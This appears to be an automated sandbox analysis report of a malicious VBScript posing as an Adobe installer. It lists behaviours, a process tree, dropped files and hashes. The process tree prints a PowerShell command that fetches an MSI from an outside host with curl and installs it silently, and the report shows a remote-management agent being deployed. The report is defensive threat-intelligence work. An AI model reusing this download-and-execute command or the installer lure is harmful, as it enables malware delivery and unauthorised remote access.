Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 00:14

General

  • Target
    Adobe _Installer-11.89.vbs
  • Size 8KB
  • Sample260910-ajmlzasdqd
  • SHA256 5fee0fd2b6dd1bacd75fdb68654e5dc10e5ce2b39118ac3e1d00868e434a7eb2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 8 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 13 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Drops file in Windows directory 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 46 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Adobe _Installer-11.89.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:1968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "& {mkdir C:\Temp -Force 2>$null; curl.exe -L --ssl-no-revoke 'https://pub-7d2a603e9c614596bd01b4589b0a069b.r2.dev/jghjhghjghj.msi' -o C:\Temp\patch.msi; msiexec.exe /i 'C:\Temp\patch.msi' /qn /norestart}"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4192
      • C:\Windows\system32\curl.exe
        "C:\Windows\system32\curl.exe" -L --ssl-no-revoke https://pub-7d2a603e9c614596bd01b4589b0a069b.r2.dev/jghjhghjghj.msi -o C:\Temp\patch.msi
        3⤵
          PID:2640
        • C:\Windows\system32\msiexec.exe
          "C:\Windows\system32\msiexec.exe" /i C:\Temp\patch.msi /qn /norestart
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:5092
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5648
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding E45CB3448551DEEDE7B2696A93AA0520
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4836
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9710B5FBA535A12E939269828CAF4ED6 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:5404
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 014E891B992549E33DC68C108E186508 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4944
    • C:\Windows\Action1\action1_agent.exe
      C:\Windows\Action1\action1_agent.exe service
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Modifies system certificate store
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:292
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
        2⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:260
      • C:\Windows\SysWOW64\msiexec.exe
        C:\Windows\system32\msiexec.exe /I "C:\Windows\Action1\action1_agent.msi" /quiet /qn /norestart /lv* "C:\Windows\Action1\logs\agent_install_1788999316.log" ALLOWRESTRICTEDVERSIONS=1
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2584
    • C:\Windows\Action1\action1_agent.exe
      C:\Windows\Action1\action1_agent.exe service
      1⤵
      • Executes dropped EXE
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3984
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
        2⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        PID:2692
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
        2⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1928
        • C:\Windows\Action1\action1_agent.exe
          "C:\Windows\Action1\action1_agent.exe" loggedonuser
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2628
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
        2⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        PID:3884

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e58da51.rbs

          • Path C:\Config.Msi\e58da51.rbs
          • Size 240KB
          • SHA256 ba0de992ac1dff17e55485e30e04c6fa18ba60c24932b2c4ece077ddc97eba74
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e58da52.rbs

          • Path C:\Config.Msi\e58da52.rbs
          • Size 7KB
          • SHA256 8ca181768736bf8ec7251332d3d0e9c939b86dc2c55457a8c07584e57d2947e9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e58da57.rbs

          • Path C:\Config.Msi\e58da57.rbs
          • Size 246KB
          • SHA256 2d67c818649a0806a102c38d1176fc4e59fe4be199199c982666e5bc44ebfa50
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e58da5c.rbs

          • Path C:\Config.Msi\e58da5c.rbs
          • Size 7KB
          • SHA256 389212c6d770c055aff0a663ff09adc100a7b7f5c952663331d8a8058c97002c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e58da5f.rbf

          • Path C:\Config.Msi\e58da5f.rbf
          • Size 3B
          • SHA256 13bf7b3039c63bf5a50491fa3cfd8eb4e699d1ba1436315aef9cbe5711530354
          • MD5 SHA1 SHA512

          e58da60.rbs

          • Path C:\Config.Msi\e58da60.rbs
          • Size 1KB
          • SHA256 e7faf6d44c2c8f8a911732904441a4085f9e565251a9f7c7be3ea0d1c985cba3
          • MD5 SHA1 SHA512 TLSH

          e58da61.rbs

          • Path C:\Config.Msi\e58da61.rbs
          • Size 7KB
          • SHA256 b697a1139f9d0a0702d61dee0c45da1828bc2e4d1464c286c43fc4110fd5d1ca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          patch.msi

          • Path C:\Temp\patch.msi
          • Size 6.8MB
          • SHA256 c1dc35bb5e4ddc60dd35899c203e99f037017d0cdf5f0e0f9934e207c8c3f85f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          7z.dll

          • Path C:\Windows\Action1\7z.dll
          • Size 1.3MB
          • SHA256 87aae6d4af8f028f080147e4cb0c42fff76c46fe8813c8b5dffd32d2bc566afd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          action1_agent.exe

          • Path C:\Windows\Action1\action1_agent.exe
          • Size 8.9MB
          • SHA256 bdaf0c46119913e3636524f2a353f3fdaef30d6bf3efb168a20edd6dd10809bd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          action1_agent.exe

          • Path C:\Windows\Action1\action1_agent.exe
          • Size 8.9MB
          • SHA256 941695d20d82dd5d62f74b0111feb23720637202f6c797df2a02e2cb6cb6e8e3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          action1_agent.exe.connection

          • Path C:\Windows\Action1\action1_agent.exe.connection
          • Size 2B
          • SHA256 565339bc4d33d72817b583024112eb7f5cdf3e5eef0252d6ec1b9c9a94e12bb3
          • MD5 SHA1 SHA512

          action1_agent.exe.update_state

          • Path C:\Windows\Action1\action1_agent.exe.update_state
          • Size 1B
          • SHA256 7902699be42c8a8e46fbbb4501726517e86b22c56a189f7625a6da49081b2451
          • MD5 SHA1 SHA512

          action1_agent.msi

          • Path C:\Windows\Action1\action1_agent.msi
          • Size 6.8MB
          • SHA256 3aecefc1e34c9ffa888b706d7f6465d12cbd236364eff035f290f486b98489ed
          • MD5 SHA1 SHA512 SSDEEP TLSH

          action1_remote.exe

          • Path C:\Windows\Action1\action1_remote.exe
          • Size 1.5MB
          • SHA256 eb77e754e3b6c4d93fa4697bcdf02871be7b30b69ca0855a5df79f9404fdb3e8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          advanced_settings.json

          • Path C:\Windows\Action1\advanced_settings.json
          • Size 54KB
          • SHA256 f0c44fbae9841682dcd796f70b66f8fd864b308741128f805dee95520dc2d965
          • MD5 SHA1 SHA512 SSDEEP TLSH

          agent_downgrade.version_pair

          • Path C:\Windows\Action1\agent_downgrade.version_pair
          • Size 71B
          • SHA256 a443bdafb067253124b6538830e34a822e123bb23e7fd42fa629e4c607c8bf78
          • MD5 SHA1 SHA512 TLSH

          first_install

          • Path C:\Windows\Action1\first_install
          • Size 50B
          • SHA256 0dc0b31c19c6a768ecf41f6dbfbe2a65e8d2f227fa78ed84c36af01a9e16e252
          • MD5 SHA1 SHA512 TLSH

          agent_install_1788999316.log

          • Path C:\Windows\Action1\logs\agent_install_1788999316.log
          • Size 1KB
          • SHA256 753a70cc3844b683cc04b0b056bbbac73fb18c291b2688a900bb1a472f016175
          • MD5 SHA1 SHA512 TLSH

          sas.dll

          • Path C:\Windows\Action1\sas.dll
          • Size 8KB
          • SHA256 996b01e15f85e165899630721a141b178a9c372b6e878012180ec9e9d4e7bd06
          • MD5 SHA1 SHA512 SSDEEP TLSH

          what_is_this.txt

          • Path C:\Windows\Action1\what_is_this.txt
          • Size 1KB
          • SHA256 e4cc1e6ea146f9c86b1a6b13e126ba3fde70e14cb26d1137ff329fd8ad0a2f94
          • MD5 SHA1 SHA512 TLSH

          MSI4831.tmp

          • Path C:\Windows\Installer\MSI4831.tmp
          • Size 387KB
          • SHA256 ca5f0275e70ec5ba65b74c3da74f489018bc143c4c405fd8bbc6519eadac2a22
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIDD6B.tmp

          • Path C:\Windows\Installer\MSIDD6B.tmp
          • Size 385KB
          • SHA256 626a4e7060bd9b789795804e8b6497743c11d61c7353fb68798dd0bc76152cae
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIDF61.tmp

          • Path C:\Windows\Installer\MSIDF61.tmp
          • Size 234KB
          • SHA256 78860e15e474cc2af7ad6e499a8971b6b8197afb8e49a1b9eaaa392e4378f3a5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ProductIcon

          • Path C:\Windows\Installer\{FEC165DE-8935-4ED1-812C-DA96EC177411}\ProductIcon
          • Size 32KB
          • SHA256 7a214ccfe309e4c0c83f40d9b7c92e3d41206db734401e7227ef10b38064ca9d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_r5zxsmik.nsz.ps1

          • Path C:\Windows\SystemTemp\__PSScriptPolicyTest_r5zxsmik.nsz.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 134a0b49437178e09a8a43a1a071de16b10289a6b19fc996a15d5cc2f87b9d37
          • MD5 SHA1 SHA512 TLSH

          memory/3884-298-0x00000159C3E60000-0x00000159C3E84000-memory.dmp

          memory/3884-297-0x00000159C3E60000-0x00000159C3E8A000-memory.dmp

          memory/3884-296-0x00000159AB890000-0x00000159AB89A000-memory.dmp

          memory/3884-295-0x00000159C3B20000-0x00000159C3BD2000-memory.dmp

          memory/3884-294-0x00000159C3B00000-0x00000159C3B1E000-memory.dmp

          memory/4192-3-0x000001B86C4C0000-0x000001B86C4E2000-memory.dmp

          memory/4192-14-0x00007FF9612A0000-0x00007FF961C44000-memory.dmp

          memory/4192-9-0x00007FF9612A0000-0x00007FF961C44000-memory.dmp

          memory/4192-2-0x00007FF96142F000-0x00007FF961430000-memory.dmp

          memory/4192-16-0x00007FF9612A0000-0x00007FF961C44000-memory.dmp

          memory/4192-15-0x00007FF9612A0000-0x00007FF961C44000-memory.dmp

          memory/4192-7-0x00007FF9612A0000-0x00007FF961C44000-memory.dmp

          memory/4192-6-0x00007FF9612A0000-0x00007FF961C44000-memory.dmp

          memory/4192-8-0x00007FF9612A0000-0x00007FF961C44000-memory.dmp

          memory/4192-19-0x00007FF9612A0000-0x00007FF961C44000-memory.dmp

          memory/4192-40-0x00007FF9612A0000-0x00007FF961C44000-memory.dmp

          memory/4192-11-0x00007FF9612A0000-0x00007FF961C44000-memory.dmp

          memory/4192-13-0x00007FF9612A0000-0x00007FF961C44000-memory.dmp

          memory/4192-10-0x00007FF9612A0000-0x00007FF961C44000-memory.dmp